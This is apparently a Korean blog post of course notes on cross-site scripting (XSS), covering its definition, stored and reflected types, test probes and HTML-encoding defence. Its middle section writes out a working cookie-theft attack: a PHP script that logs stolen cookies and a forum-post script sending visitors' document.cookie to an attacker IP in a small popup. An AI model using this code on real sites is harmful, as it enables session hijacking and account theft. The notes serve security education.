XSS
cross site scripting
css와 헛갈리지 않기
client side script
--------------
XSS
스크립트를 삽입하여 웹 어플리케이션에서 순수하게 제공되는 동작외에
부정적으로 일어나는 액션
피해
-> 웜, 바이러스 배포
-> 세션 재사용 공격 -> 쿠키값으로 공격, 쿠키 탈취
-> CSRF 공격 -> 크게 다르지 않지만 공격 소스가 다름
-> 피싱공격
1. 공격측 서버 구축 ampsetup
2. 클라이언트에서 특정한 값을 파라미터로 넘겨줄때 받아서 저장하는 프로그램 작성
cookie.php
<?
$cookie=$_GET['data']; // GET 방식으로 데이터를 쿠키에 저장
$atime=date("y-m-d H:i:s"); // 값을 넘겨 받았을 때 시간(년-월-일 시:분:초)
$log=fopen("data.txt","a"); //파일이 없으면 파일 생성 후 작성,
파일이 있으면 마지막 포인트로 가져가 작성
fwrite($log,$atime." ".$cookie."\r\n"); //해당 변수에 저장된 내용 작성
fclose($log); //해당 파일 작성 끝(닫기)
echo "<img src=http://공격측 IP/i2sec.jpg width=220 height=150></img>";
//해커 서버에 있는 이미지 출력
?> //php 작성종료
3. 게시판 업로드 할 코드
board.txt
<html>
<head>i2sec</head>
<title>i2sec edu</title>
<script>window.open("http://192.168.0.140/cookie.php?data="+document.cookie,"small","width=150,height=220,scrollbars=no,menubar=no")</script>
//window.open: 새로운 윈도우 창
window.open("url","창이름","옵션")
즉, 인터넷창을 열어 이 글을 읽는 유저의 쿠키값을 data에 넣어 공격자IP/cookie.php에 보내는 코드
-> 팝업창 이름 "small"
-> 의심받지 않기 위해 크기를 줄여 주는 옵션
"width=150,height=220,scrollbars=no,menubar=no"
</html>
---------------------
Stored XSS
게시물과 같은 DB에 저장되는 형태
Reflective XSS
클라이언트에서는 보이지만 서버에 저장되지 않음
공격자가 의도한 스크립트가 포함된 URL을 희생자에게 노출
-> 검색창에 직접 <script>구문을 작성
----
1. xss 정의 (whar?: 공격에 대한 정의 )
: 스크립트를 삽입하여 웹 어플리케이션에서 순수하게 제공되는 동작 외에 부정적으로 일어나는 행위
(순수하게 제공되는 동작: 관리자가 의도한 기능 ex) 게시판 글 작성, 파일 업로드 등..)
2. 왜 발생하나?(why?:발생 이유)
html 사용
-> 모든 파라미터에 대해 검사를 할 수 없기 때문에 발생
피해자는 누구인가?(who)
-> 관리자, 사용자
3. 취약점 존재 유무 확인은 어떻게 하나?
(attack test: 존재 유무확인/공격방법 확인)
<script>alert("test")</script>
<script>alert(document.cookie)</script>
테스트 할 수 있는 곳: 검색란, 글 작성 시-내용, 제목, 작성자
회원정보 수정-주소
4. 어떠한 영향이 일어나나? (impact: 문제/영향)
- 웜, 바이러스 발생
- 세션 하이재킹(세션 재사용)공격 -> 쿠키 탈취
- csrf공격으로 이어짐 (xss 존재시 90%정도 발생함)
-> 큰 틀은 비슷하나 공격 코드가 조금 다름
5. 어떤 방법으로 방어를 하나? (security:보안 대책)
- html encoding으로 방어 (html 화이트 리스트 방식)
'Web' 카테고리의 다른 글
CSRF (0) | 2014.11.05 |
---|---|
CSRF (0) | 2014.11.04 |
tools and searching vulnerabilities (0) | 2014.10.29 |
googling (0) | 2014.10.28 |
session and cookie (0) | 2014.10.27 |